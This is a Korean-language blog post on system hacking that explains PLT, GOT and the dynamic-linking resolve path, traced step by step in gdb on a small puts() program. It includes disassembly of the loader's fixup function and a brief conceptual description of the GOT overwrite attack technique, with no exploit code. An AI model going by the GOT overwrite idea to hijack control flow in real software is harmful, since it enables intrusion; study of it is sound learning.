bss 영역

[System hacking note] PLT & GOT & Dynamic Linking 과정 파헤치기

Sean(slay) — Mon, 1 Apr 2024 00:49:06 +0900

시스템 해킹을 공부하다 보면 PLT와 GOT를 한 번쯤은 보거나 듣게 된다.

나도 여러 번 PLT와 GOT를 보거나 들었고, 해커스쿨 LOB 18번 문제를 풀면서 PLT와 GOT를 다시 한 번 접하게 됐는데

이참에 이 글로 PLT와 GOT 그리고 Dynamic Linking 과정을 정리한다.

[plt & got를 공부하면서 참고한 블로그 글]

1. plt & got 개념 : https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

2. plt & got 개념 및 실습 그리고 GOT overwrite : https://0secusik0.tistory.com/67

3. 실제 해킹 문제로 알아보는 plt & got : https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

4. 위의 3번 글의 내용을 핵심만 간략히 적어둔 블로그 글 : http://cr3denza.blogspot.com/2015/04/plt-got.html

(위의 hackerz on the Ship의 글 2개 중 "실제 해킹 문제로 알아보는 plt & got" 글은 plt & got를 분석함에 있어서 절대적으로 도움이 많이 됐다.)

(4번 블로그는 각 함수에서 구한 값들을 어디에 저장해두는지 더블 체크할 때 유용했다.)

STRTAB : https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/strtab_8cxx.html#a75d1e7e61739ba0d0211b3293e5ba9d3

elf32_Rel : https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Rel.html#addcf5ef67ababeb4940889e912c11eff

elf32_Sym : https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Sym.html

symtab : https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9

PLT와 GOT 개념

plt : 외부 함수를 연결해주는 테이블로, plt를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
plt도 테이블이기 때문에 어떠한 정보들이 저장되어 있는데
이 정보들은 GOT 테이블 내의 주소와 runtime resolve 과정에 필요한 정보들이다.

GOT : PLT가 참조하는 테이블로, 실제 함수들의 주소가 들어있다

링커란

PLT와 GOT를 이해하려면 먼저 링커라는 것을 알아야 한다.

함수의 정의가 외부 라이브러리에 있는 함수를 호출하는 코드가 있을 때 실행 파일로 컴파일 하는 과정을 보면 아래와 같다.

위의 사진을 보면 어셈블러가 오브젝트 파일을 생성하고 나면 링커가 링킹 과정을 거쳐 실행 파일로 만들게 되는데, 이때 링킹 과정이란 컴파일 하는 오브젝트 파일과 라이브러리를 연결하는 것이고, 링킹 방법에는 static과 dynamic 방식이 있다.

참고)

라이브러리란

함수 정의 코드를 컴파일하여 나온 결과물인 오브젝트 파일을 해당 함수의 실행 코드 또는 실행 코드 파일이라고 부르는데

여러 함수의 실행 코드 또는 실행 코드 파일들이 모인 것을 라이브러리라고 하며, 즉 라이브러리에는 여러 함수들의 실행 코드가 들어있다.

각 링킹 방식의 장점

[static]
실행 파일 안에 모든 코드가 포함되기 때문에 라이브러리 연동 과정이 필요없고

한 번 생성한 파일은 따로 필요한 라이브러리를 관리하지 않아도 된다.


[dynamic]
공유 라이브러리를 사용하는데 공유 라이브러리는 라이브러리를 하나의 메모리 공간에 매핑하고
해당 메모리 공간 안에 있는 라이브러리 내용을 여러 프로그램에서 공유해서 사용한다.

모든 코드를 파일 안에 포함시키는 게 아니므로 파일의 크기가 상대적으로 작다.

각 링킹 방식의 단점

[static]
모든 코드가 포함되므로 파일의 크기가 상대적으로 크고
동일한 라이브러리를 사용한다고 해도 프로그램을 새로 실행하면 같은 라이브러리 내용을 메모리에 또 올린다.

[dynamic]
라이브러리 의존도가 높기 때문에 필요한 라이브러리를 관리해주지 않으면 프로그램을 실행할 수 없다.

plt와 got는 리눅스 환경에서 정적 라이브러리일 때는 상관없고, 실행 코드가 외부 라이브러리에 있는 동적 라이브러리일 때 함수의 주소를 알아오기 위해 사용하는 개념이다.

(기본적으로 컴파일할 때는 동적 라이브러리 방식으로 컴파일 된다.)

PLT와 GOT의 동작 방식 이론

dynamic link 방식으로 컴파일된 프로그램에서 함수를 호출하게 되면 최초로 호출하느냐 혹은 이전에 호출한 적이 있느냐에 따라 약간의 차이가 있다.

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

plt를 가장 먼저 참조하고, 이어서 GOT로 점프하는데, 이때 GOT에 기록되어 있는 주소는 실제 함수의 주소가 아니기 때문에

PLT로 다시 이동하여 PLT에 있는 정보들과 _dl_runtime_resolve 함수를 이용하여 함수의 실제 주소를 구하는

runtime resolve 과정을 걸쳐 GOT에 실제 주소를 저장한 후 실제 함수 주소로 점프하여 함수가 동작하게 된다.

먼저, 어떠한 함수를 최초로 호출하는 거라면 위의 과정을 따른다.

어떠한 함수를 최초로 호출할 때 got에는 함수의 실제 주소가 아닌 다른 주소가 있다.

먼저 got에 적혀있는 해당 주소로 점프하여 명령을 실행하다가 _dl_runtime_resolve 함수를 호출하게 되는데, 이 함수가 수행되면서 내부에서 함수의 실제 주소를 구하고 GOT에 저장한다.

참고)

바이너리가 실행되면 ASLR 기능에 의해 라이브러리의 주소가 매번 다른 주소에 매핑된다.

이 상태에서 라이브러리 함수를 호출하면, 함수의 이름을 이용해 라이브러리에서 심볼들을 탐색하고

해당 함수의 정의를 발견했을 때 그 주소로 실행 흐름을 옮기는데

이렇게 함수의 이름을 이용해 해당 함수의 정의로 실행 흐름을 옮기는 과정을 runtime resolve이라고 한다.

plt를 가장 먼저 참조하고, plt에서 got로 점프하는데

got에 기록되어 있는 실제 함수 주소(라이브러리에서의 주소)를 호출하여 함수가 동작하게 된다.

그리고 어떠한 함수를 이전에 호출한 적이 있고, 해당 함수를 다시 호출할 때는 got에 해당 함수의 실제 주소가 저장되어 있기 때문에 위의 과정을 따른다.

https://bnzn2426.tistory.com/27

어떤 함수를 최초로 호출했을 때와 두 번 이상 호출할 때를 그림으로 나타내면 위와 같다.

참고)

함수 호출 명령과 GOT 사이에 PLT를 두어 사용하는 이유는 아래와 같다.

실제로 사용하는 함수의 주소만 GOT에 저장해둠으로써 라이브러리를 로드할 때
사용하지 않는 함수들의 주소들까지 전부 알아와서 GOT에 주소를 저장해두는 것을 방지하기 위함이다.

GOT overwrite

어떤 함수를 최초로 호출할 때 runtime resolve 과정을 거쳐 함수의 실제 주소를 GOT에 기록해둔다.

그리고 나서 재호출할 때는 PLT에서 GOT를 참조하여 기록되어 있는 실제 함수 주소로 점프하는데, 이때 GOT에 기록되어 있는 실제 함수 주소값을 검증하지 않는다.

그러므로 특정 함수를 처음 호출하여 해당함수의 실제 주소를 GOT에 저장한 다음 저장된 값을 변조한다면, 해당 함수를 다시 호출할 때 변조된 값에 해당하는 주소에있는 코드를 수행하게 될 것이고, 이렇게 공격하는 기법이 GOT overwrite이다.

이 글의 목적

위에서 첫 번째 함수 호출 때와 두 번째 함수 호출 때의 GOT에 담겨있는 주소가 다르다고 했는데, 그 이유는 첫 번째 호출 때는 함수의 실제 주소를 알아오는 과정이 필요하기 때문이고, 두 번째 이상 호출 때는 이미 첫 번째 호출 때 실제 주소를 알아내어 GOT에 기록해뒀기 때문이다.

그 첫 번째와 두 번째 이상 호출 때의 과정을 조금 더 자세히 보면 아래와 같다.

[첫 번째 함수 호출 때]
함수 호출 -> PLT -> GOT -> PLT -> _dl_runtime_resolve -> _dl_fixup -> _dl_lookup_symbol_x
-> _dl_fixup -> _dl_runtime_resolve -> puts 함수

[두 번 이상 함수 호출 때]
함수 호출 -> PLT -> GOT -> puts 함

이론적으로 설명된 첫 번째 호출 때와 두번 이상 호출 때의 과정을 실제로 gdb를 이용해 파헤쳐 본다.

환경은 두 개의 환경에서 실습을 진행할 것인데, 하나는 hackerschool의 lob 환경이고, 다른 하나는 ubuntu 16.04.07 버전의 환경이다.

hackerschool의 lob 환경에서 진행하는 내용은 옛날 환경에서 진행하는 것이므로 눈으로만 보면서 어떤 과정을 거쳐서 외부 라이브러리에 있는 함수의 실행 코드로 넘어가는지만 알아도 되지만

ubuntu 환경에서 진행하는 내용은 같이 따라해보면서 실습해보는 걸 추천한다.

사실 hackerschool의 lob 환경에서 진행하는 내용을 잘 이해만 한다면 혼자서도 할 수 있게 설명해뒀다.

각 환경에서 진행하는 과정 미리보기 목록

[hackerschool lob 환경에서 진행하는 과정 목록]
PLT
GOT
Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)
  - link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프
    - _dl_runtime_resolve 함수 디스어셈블
    - fixup함수 호출 직전 스택 확인
     - fixup 함수 내부로 진입
      - link_map을 이용해 STRTAB 테이블 주소 구하기
       - link_map을 이용해 STRTAB 테이블 주소 구하는 과정
      - link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 얻어오기
       - JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기
      - 위에서는 수동으로 직접 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체의 주소를 찾았지만, 코드 상에서 해당 구조체의 주소를 찾기 위해 Elf32_Rel 구조체 형식의 내용 중 .dynsym에서의 index와 재배치 정보가 들어있는 곳의 주소를 edi 레지스터에 저장
   - 여기서 한번 내용 정리 - 
      - STRTAB에서 puts 문자열의 주소를 구하는 부분
       - JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에서 STRTAB 에서의 puts 문자열 offset 값을 구하기
       - GOT 주소 알아와서 EBP-12 주소에 기록하고 재배치 타입을 비교해 조건 분기 및 esi 레지스터에 link_map 주소 넣기
       - 실제로 STRTAB의 주소와 STRTAB에서 puts 문자열의 offset 값과 더해 STRTAB에서 puts 문자열의 주소를 구하는 부분
       - _dl_lookup_symbol 호출 전 레지스터 및 스택 정리
     - _dl_lookup_versioned_symbol 호출 및 디스어셈블
       - _dl_lookup_symbol() 함수가 없는지 확인
     - _dl_lookup_versioned_symbol 함수 반환값 확인
     - _dl_lookup_versioned_symbol() 함수를 끝내고 fixup 함수로 복귀하여 _dl_lookup_versioned_symbol() 함수에서 알아낸 SYMTAB 주소 edx 레지스터에 저장
      - SYMTAB 주소를 구했는지 확인하고 라이브러리의 주소와 SYMTAB에서 찾아낸 puts 함수의 offset 값을 더해 실제 puts 함수의 주소 알아내 eax 레지스터에 저장
      - fixup 함수 내에서 구해 저장해둔 puts 함수의 GOT 주소를 가져와 GOT 주소에 puts 함수의 실제 주소를 넣기
fixup 함수 종료 후 _dl_runtime_resolve 함수 종료
2번째 puts 함수 호출 부분에서 GOT 주소의 값 확인


[ubuntu 16.04.07 환경에서 진행하는 과정 목록]
PLT & GOT 부분 및 Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)
  link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프 및 _dl_runtime_resolve 함수 디스어셈블
    fixup함수 호출 직전 스택 확인

      _dl_fixup 함수 내부로 진입 및 _dl_fixup 함수 디스어셈블
	link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 부분
		link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 과정
			link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 구함과 동시에 reloc_offset 값을 이용해 puts에 해당하는 Elf32_Rel의 주소 구하는 부분
				JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기
			link_map을 이용해 STRTAB 테이블 주소 구하기
				STRTAB의 주소를 esp+0xc 주소에 저장
			edx 레지스터에 .dynsym에서의 index 값과 재배치 타입 값을 저장
			JMPREL 테이블에 Elf32_Rel 형식의 값의 내용 중 GOT 주소를 가져와 eax 레지스터에 저장
			.dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 저장
			JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 주소 구하기
				재배치 타입 검사 및 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 esp+0x1c 주소에 저장
			GOT 주소를 ebp로 옮기고, 조건 분기
			esp+0xc 주소에 저장해뒀던 STRTAB의 주소와 ebx 레지스터에 있던 0x80481dc 주소에 있는 puts 문자열 offset 값을 더해 STRTAB에서 실제 puts 문자열의 주소 구하기
			esp+0x1c 주소를 ecx 레지스터로 옮기기

_dl_lookup_symbol_x 함수 호출 전 스택에 값 넣고 _dl_lookup_symbol_x 함수 호출
	_dl_lookup_symbol_x 함수 디스어셈블
_dl_lookup_symbol_x 함수를 끝내고 fixup 함수로 복귀
	_dl_lookup_symbol_x 함수의 반환값 확인
	esp+0x1c 주소에 구해둔 SYMTAB의 주소를 ebx 레지스터에 저장
	libc 주소를 담고 있는 주소에서 libc 주소를 가져와 eax 레지스터에 저장
	ebx 레지스터의 값을 이용해 라이브러리에서 puts 함수의 offset 값을 가져와 라이브러리 주소와 더하여 puts 함수의 실제 주소를 구해 eax 레지스터에 넣기
두 번째 puts 함수 호출 부분

해커스쿨 LOB 환경에서 puts() 함수를 두 번 호출하는 프로그램을 만들어 gdb로 실습

vi plt_got.c

#include <stdio.h>

int main(void)
{
        puts("hello");
        puts("world");

        return 0;
}

gcc -o plt_got plt_got.c

먼저 위와 같이 plt_got.c 파일에 puts() 함수를 두 번 호출하는 코드를 적고, gcc을 이용해 컴파일하면 기본적으로 동적 라이브러리 방식으로 컴파일이 된다.

gdb -q ./plt_got

set disassembly-flavor intel

gdb로 컴파일 한 바이너리 plt_got를 연다.

어셈블리어 문법은 intel 문법을 사용하도록 설정한다.

disas main

main() 함수를 디스어셈블 해보면 위와 같은데, puts() 함수를 두 번 호출하는 것 이외에는 별 다른 게 없다.

b * 0x80483d8

b * 0x80483e5

puts() 함수를 호출하는 두 곳에 BP를 설정한다.

puts() 함수를 호출하는 두 곳에 BP를 설정하는 이유는

첫 번째 puts() 함수를 호출하는 부분에서는 최초로 puts() 함수를 호출하는 것이므로 puts() 함수의 GOT에 puts() 함수의 실제 주소가 들어가 있지 않을 것이고

두 번째 puts() 함수를 호출하는 부분에서는 puts() 함수의 GOT에 puts() 함수의 실제 주소가 들어가 있을 것인데, 이를 확인해보기 위함이다.

r

x/i $eip

plt_got 프로그램을 실행시키고, 현재 EIP가 가리키는 주소의 명령을 보면 puts() 함수를 호출하는 첫 번째 부분이다.

PLT

puts() 함수를 호출하기 위해 콜하는 주소 0x80482e8을 보면 위와 같이 plt 부분이 나오고, 0x80482e8 주소부터 3개의 명령을 출력해보면 위와 같이 명령어들이 보이는데

plt에서는 got를 참조하기 때문에 0x80482e8 주소에서 점프하는 주소 0x804948c는 puts() 함수의 실제 주소가 들어있는 GOT 주소이다.

(왜 3개의 명령을 출력했는지는 이후에 자연스럽게 이해가 될 것이다.)

GOT

0x804948c 주소를 보면 정말 puts() 함수의 실제 주소가 저장될 puts() 함수의 GOT이고

아직 puts() 함수를 최초로 호출하는 단계에서 runtime resolve 과정을 거치지 않았기 때문에 puts() 함수의 GOT에는 puts() 함수의 실제 주소가 아닌 이전에 PLT 부분에서 봤던 PLT+6의 주소인 0x80482ee가 있다.

여기까지 정리해보면, puts() 함수를 최초로 호출 -> plt를 참조 -> plt+0에서는 got를 참조 -> puts 함수에 해당하는 got를 가보니 다시 plt+6 부분으로 점프하도록 되어 있다.

즉, 함수를 최초로 호출했을 때는 plt+6에 있는 명령을 수행하게 되어있다.

Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)

plt+6에서는 0x8을 넣고, plt+11에서 0x80482c8 주소로 점프한다.

여기서부터 동적 링킹(Dynamic Linking) 과정이 시작되는데, 0x8은 reloc_offset이다.

(reloc_offset 값은 이후에 puts 문자열의 주소를 찾을 때 사용되므로 기억해둔다.)

link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프

plt+11에서 점프하는 주소 0x80482c8를 보면 0x8049480 주소에 있는 값 0x40013ed0을 스택에 넣고, 0x8049484 주소로 점프한다.

여기서 스택에 넣는 0x40013ed0은 link_map 구조체 포인터이다.

그리고 점프하는 곳(0x8049484)은 _dl_runtime_resolve 함수이다.

낮은 주소

link_map : 0x40013ed0

reloc_offset : 0x8

높은 주소

지금까지의 스택을 보면 위와 같다.

참고)

link_map 구조체는 ld loader가 참조하는 링크 지도로, 라이브러리의 정보를 담고 있는데
이 구조체를 통해 여러가지 테이블의 주소를 구할 수 있다.

_dl_runtime_resolve 함수 디스어셈블

_dl_runtime_resolve 함수를 디스어셈블 해보면 위와 같다.

_dl_runtime_resolve 함수 내부에서 fixup 함수를 호출하는 것을 확인할 수 있다.

fixup함수 호출 직전 스택 확인

낮은 주소

edx : 0x40109098

ecx : 0x080483d0

eax : 0x401073f8

link_map 구조체 포인터 : 0x40013ed0

reloc_offset : 0x08

높은 주소

fixup 함수를 호출하는 0x4000a96b 주소에 BP를 걸고 실행하면 fixup 함수를 호출하기 직전에 멈추게 되는데, 이때 edx와 eax 레지스터에 저장하는 값을 보면 0x8과 0x40013ed0으로 reloc_offset 값과 link_map 구조체 포인터이다.

참고)

reloc_offset과 link_map 값을 _dl_runtime_resolve 함수를 호출하기 전에 스택에 넣었으므로
_dl_runtime_resolve 함수의 RET 부분과 SFP 부분이 쌓이고 나서 eax, ecx, edx 값이 쌓여야 하는 게 아닌가 싶을 수 있는데, _dl_runtime_resolve 함수를 실행할 때 call 명령으로 호출한 것이 아니라 jmp 명령으로 실행하는 것임을 주의해야 한다.

call 명령으로 호출했다면 RET 부분을 쌓고 SFP 부분을 쌓지만 jmp 명령을 사용했으므로 RET 부분과 SFP 부분은 없다.

fixup 함수 내부로 진입

(gdb) disas 0x4000a740
Dump of assembler code for function fixup:
0x4000a740 <fixup>:	push   %ebp
0x4000a741 <fixup+1>:	mov    %ebp,%esp
0x4000a743 <fixup+3>:	sub    %esp,20
0x4000a746 <fixup+6>:	push   %edi
0x4000a747 <fixup+7>:	push   %esi
0x4000a748 <fixup+8>:	push   %ebx
0x4000a749 <fixup+9>:	call   0x4000a74e <fixup+14>
0x4000a74e <fixup+14>:	pop    %ebx
0x4000a74f <fixup+15>:	add    %ebx,0x911a
0x4000a755 <fixup+21>:	mov    DWORD PTR [%ebp-20],%eax
0x4000a758 <fixup+24>:	mov    %ecx,%edx
0x4000a75a <fixup+26>:	mov    %eax,DWORD PTR [%eax+48]
0x4000a75d <fixup+29>:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a760 <fixup+32>:	mov    %edx,DWORD PTR [%esi+44]
0x4000a763 <fixup+35>:	mov    %edx,DWORD PTR [%edx+4]
0x4000a766 <fixup+38>:	mov    DWORD PTR [%ebp-8],%edx
0x4000a769 <fixup+41>:	mov    %edx,DWORD PTR [%esi+116]
0x4000a76c <fixup+44>:	add    %ecx,DWORD PTR [%edx+4]
0x4000a76f <fixup+47>:	mov    %edi,DWORD PTR [%ecx+4]
0x4000a772 <fixup+50>:	shr    %edi,0x8
0x4000a775 <fixup+53>:	shl    %edi,0x4
0x4000a778 <fixup+56>:	mov    %eax,DWORD PTR [%eax+4]
---Type <return> to continue, or q <return> to quit---
0x4000a77b <fixup+59>:	add    %edi,%eax
0x4000a77d <fixup+61>:	mov    DWORD PTR [%ebp-16],%edi
0x4000a780 <fixup+64>:	mov    DWORD PTR [%ebp-4],%edi
0x4000a783 <fixup+67>:	mov    %esi,DWORD PTR [%ecx]
0x4000a785 <fixup+69>:	mov    %edi,DWORD PTR [%ebp-20]
0x4000a788 <fixup+72>:	mov    %edi,DWORD PTR [%edi]
0x4000a78a <fixup+74>:	add    %esi,%edi
0x4000a78c <fixup+76>:	mov    DWORD PTR [%ebp-12],%esi
0x4000a78f <fixup+79>:	add    %esp,-4
0x4000a792 <fixup+82>:	mov    %edx,DWORD PTR [%ecx+4]
0x4000a795 <fixup+85>:	cmp    %dl,0x7
0x4000a798 <fixup+88>:	je     0x4000a7b6 <fixup+118>
0x4000a79a <fixup+90>:	lea    %eax,[%ebx-6274]
0x4000a7a0 <fixup+96>:	push   %eax
0x4000a7a1 <fixup+97>:	push   67
0x4000a7a3 <fixup+99>:	lea    %eax,[%ebx-6268]
0x4000a7a9 <fixup+105>:	push   %eax
0x4000a7aa <fixup+106>:	lea    %eax,[%ebx-6255]
0x4000a7b0 <fixup+112>:	push   %eax
0x4000a7b1 <fixup+113>:	call   0x4000d9dc <__assert_fail>
0x4000a7b6 <fixup+118>:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a7b9 <fixup+121>:	mov    %eax,DWORD PTR [%esi+400]
0x4000a7bf <fixup+127>:	test   %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x4000a7c1 <fixup+129>:	je     0x4000a800 <fixup+192>
0x4000a7c3 <fixup+131>:	mov    %eax,DWORD PTR [%eax+4]
0x4000a7c6 <fixup+134>:	shr    %edx,0x8
0x4000a7c9 <fixup+137>:	movzx  %eax,WORD PTR [%eax+%edx]
0x4000a7cd <fixup+141>:	shl    %eax,0x4
0x4000a7d0 <fixup+144>:	add    %eax,DWORD PTR [%esi+488]
0x4000a7d6 <fixup+150>:	cmp    DWORD PTR [%eax+4],0
0x4000a7da <fixup+154>:	je     0x4000a800 <fixup+192>
0x4000a7dc <fixup+156>:	lea    %edx,[%ebp-4]
0x4000a7df <fixup+159>:	mov    %edi,DWORD PTR [%ebp-16]
0x4000a7e2 <fixup+162>:	mov    %edi,DWORD PTR [%edi]
0x4000a7e4 <fixup+164>:	add    DWORD PTR [%ebp-8],%edi
0x4000a7e7 <fixup+167>:	push   7
0x4000a7e9 <fixup+169>:	push   %eax
0x4000a7ea <fixup+170>:	push   DWORD PTR [%esi+4]
0x4000a7ed <fixup+173>:	mov    %ecx,%esi
0x4000a7ef <fixup+175>:	add    %ecx,0x204
0x4000a7f5 <fixup+181>:	mov    %eax,DWORD PTR [%ebp-8]
0x4000a7f8 <fixup+184>:	call   0x40001840
0x4000a7fd <fixup+189>:	jmp    0x4000a823 <fixup+227>
0x4000a7ff <fixup+191>:	nop
0x4000a800 <fixup+192>:	lea    %edx,[%ebp-4]
0x4000a803 <fixup+195>:	mov    %eax,DWORD PTR [%ebp-4]
---Type <return> to continue, or q <return> to quit---
0x4000a806 <fixup+198>:	mov    %eax,DWORD PTR [%eax]
0x4000a808 <fixup+200>:	add    DWORD PTR [%ebp-8],%eax
0x4000a80b <fixup+203>:	push   7
0x4000a80d <fixup+205>:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a810 <fixup+208>:	push   DWORD PTR [%esi+4]
0x4000a813 <fixup+211>:	mov    %ecx,%esi
0x4000a815 <fixup+213>:	add    %ecx,0x204
0x4000a81b <fixup+219>:	mov    %eax,DWORD PTR [%ebp-8]
0x4000a81e <fixup+222>:	call   0x40001850
0x4000a823 <fixup+227>:	mov    %edx,DWORD PTR [%ebp-4]
0x4000a826 <fixup+230>:	test   %edx,%edx
0x4000a828 <fixup+232>:	je     0x4000a830 <fixup+240>
0x4000a82a <fixup+234>:	add    %eax,DWORD PTR [%edx+4]
0x4000a82d <fixup+237>:	jmp    0x4000a832 <fixup+242>
0x4000a82f <fixup+239>:	nop
0x4000a830 <fixup+240>:	xor    %eax,%eax
0x4000a832 <fixup+242>:	mov    %edi,DWORD PTR [%ebp-12]
0x4000a835 <fixup+245>:	mov    DWORD PTR [%edi],%eax
0x4000a837 <fixup+247>:	lea    %esp,[%ebp-32]
0x4000a83a <fixup+250>:	pop    %ebx
0x4000a83b <fixup+251>:	pop    %esi
0x4000a83c <fixup+252>:	pop    %edi
0x4000a83d <fixup+253>:	leave
---Type <return> to continue, or q <return> to quit---
0x4000a83e <fixup+254>:	ret
End of assembler dump.

edx에는 reloc_offset(0x08), eax에는 link_map(0x40013ed0)을 담은 채로

fixup 함수를 분석해보기 위해 fixup 함수 내부로 들어가고, fixup() 함수를 디스어셈블 해보면 위와 같다.

fixup 함수 내에서는 link_map 구조체를 이용해 문자열 테이블인 STRTAB의 주소를 알아오고, STRTAB의 주소와 호출하는 함수의 이름의 offset 값을 인자로 하여 _dl_lookup_symbol 함수를 호출한다.

참고)

STRTAB에는 현재 프로그램에서 사용되는 함수들의 이름이 있다.

link_map을 이용해 STRTAB 테이블 주소 구하기

먼저 fixup+35 라인(0x4000a763)에 BP를 걸고 실행한 후 edx+4 주소에 있는 값을 보면 0x080481c8인데, 이는 STRTAB의 주소이다.

(사용하는 라이브러리에 따라서 STRTAB 주소를 레지스터에 담는 라인의 위치는 달라질 수 있다.)

참고)

link_map 구조체는 ld loader가 참조하는 링크 지도로, 라이브러리의 정보를 담고 있는데
이 구조체를 통해 여러가지 테이블의 주소를 구할 수 있다.

shell readelf -S plt_got | grep STRTAB | awk '{print $1, $2, $3, $4, $5}'

0x080481c8이 STRTAB의 주소인지 확인해보기 위해 위의 명령을 이용해보면 STRTAB 타입으로 테이블이 총 4개 있는데, 그 중 .dynstr 테이블을 보면 0x80481c8인 것을 확인할 수 있다.

link_map을 이용해 STRTAB 테이블 주소 구하는 과정

fixup 함수 내에서 0x4000a763 주소의 명령을 수행하면 edx에 STRTAB의 주소가 담기게 될 것이라는 것을 확인했다.

(아직 0x4000a763 주소를 실행하진 않았지만, x 명령으로 조사하는 것으로 확인했다.)

즉, 위에서 언급했듯이 link_map 구조체를 이용해 문자열 테이블인 STRTAB의 주소를 알아온다는 결과는 확인했는데, 그 과정을 자세히 알아본다.

위의 사진을 참고하면 현재 eip가 0x4000a763 주소를 가리킬 때의 스택과 위의 첫 번째 사진 속 빨간 색 박스 부분의 명령들이 중요하다.

(참고로 0x4000a758 주소에서 edx 레지스터에 있는 값을 ecx 레지스터로 옮기는데, 이는 reloc_offset 값을 ecx 레지스터에 담는 것이다.)

먼저, 스택에서 주황색 박스인 부분은 이전에 fixup 함수를 호출하기 전에 구성된 스택이다.

그리고 파란색 박스는 fixup 함수를 호출하면서 스택에 쌓인 RET 부분이고, 분홍색 박스는 SFP 부분이다.

이어서 하얀색 박스와 빨간색 박스를 합쳐 20byte는 fixup 함수 내에서 지역 변수를 위해 확보하는 스택 공간이고,

나머지 보라색 박스는 오른쪽에서부터 차례대로 edi, esi, ebx의 값이다.

이렇게 현재 스택의 구성 설명은 끝났다.

그리고 위의 빨간색 박스 부분의 명령들을 보면 ebp-20의 주소에 eax의 값을 넣는 것을 볼 수 있는데, eax에는 fixup 함수를 호출하기 전에 0x40013ed0(link_map) 주소가 들어있었으므로 위의 스택 사진에서 빨간색 박스 부분에 해당하는 ebp-20(0xbffffc80) 주소에 0x40013ed0(link_map) 주소가 들어있는 것을 확인할 수 있다.

이어서 ebp-20에 있는 값 0x40013ed0(link_map)을 esi 레지스터에 옮기므로 esi 레지스터에는 link_map의 주소가 들어있는 것이다.

이 상태에서 esi + 44(0x2c) 주소는 0x40013ed0(link_map) + 0x2c를 연산한 주소 0x40013efc이므로, 0x40013efc 주소에 있는 값을 edx에 옮긴다는 것인데, 위와 같이 0x40013efc 주소에는 0x80494bc 라는 값이 있고, 0x80494bc 값이 edx에 담긴다.

그리고 나서 edx + 4의 주소에 있는 값을 edx에 옮기는데, 이는 0x80494bc + 4를 연산한 주소 0x80494c0이고, 0x80494c0 주소에 있는 값은 위와 같이 0x80481c8(STRTAB) 주소이다.

마지막으로, 구한 0x80481c8(STRTAB) 주소를 ebp-8(0xbffffc8c)에 옮긴다.

(ebp-8(0xbffffc8c)에 0x80481c8(STRTAB) 주소가 담기는게 맞는지 확인해보기 위해 si 명령으로 0x4000a766 <fixup+38> 주소의 명령을 수행하고, 스택을 보면 맞게 잘 들어갔다는것을 확인할 수 있다.)

정리해보면, fixup 함수를 호출하기 전 eax 레지스터를 통해 넘긴 link_map(0x40013ed0)의 주소와 0x2c와 0x4라는 offset을 이용해 STRTAB(0x80481c8)의 주소를 구하고, ebp-8(0xbffffc8c)에 저장해둔다.

link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 얻어오기

참고)

https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Rel.html#addcf5ef67ababeb4940889e912c11eff

JMPREL은 재배치 정보를 담고 있는 테이블로, Elf32_Rel이라는 형식의 구조체들로 이루어져 있다.

Elf32_Rel 구조체는 8byte로 되어 있고, 처음 4byte는 GOT의 주소이며
다음 4byte에서 처음 1byte는 재배치 타입이고, 나머지 3byte는 .DYNSYM 테이블에서의 index를 나타낸다.

JMPREL 테이블에 있는 Elf32_Rel 형식의 구조체들 중 호출하는 함수에 해당하는 Elf32_Rel 형식의 구조체를 찾을려면
JMPREL의 시작 주소에 reloc_offset 값을 더하면 된다.

호출하는 함수에 해당하는 Elf32_Rel 형식의 구조체가 맞는지 확인하는 방법은
Elf32_Rel 형식의 구조체에서 맨 처음 4byte 값이 GOT의 주소이므로 해당 4byte 값이
호출하는 함수에 해당하는 GOT 주소인지를 대조해봄으로써 확인할 수 있다.

현재 esi 레지스터에는 0x40013ed0(link_map) 주소가 들어있고, 0x40013ed0 + 116(0x74)은 0x40013f44인데, 0x40013f44 주소 안에 있는 값은 0x80494fc이므로 edx에는 0x80494fc가 담기게 된다.

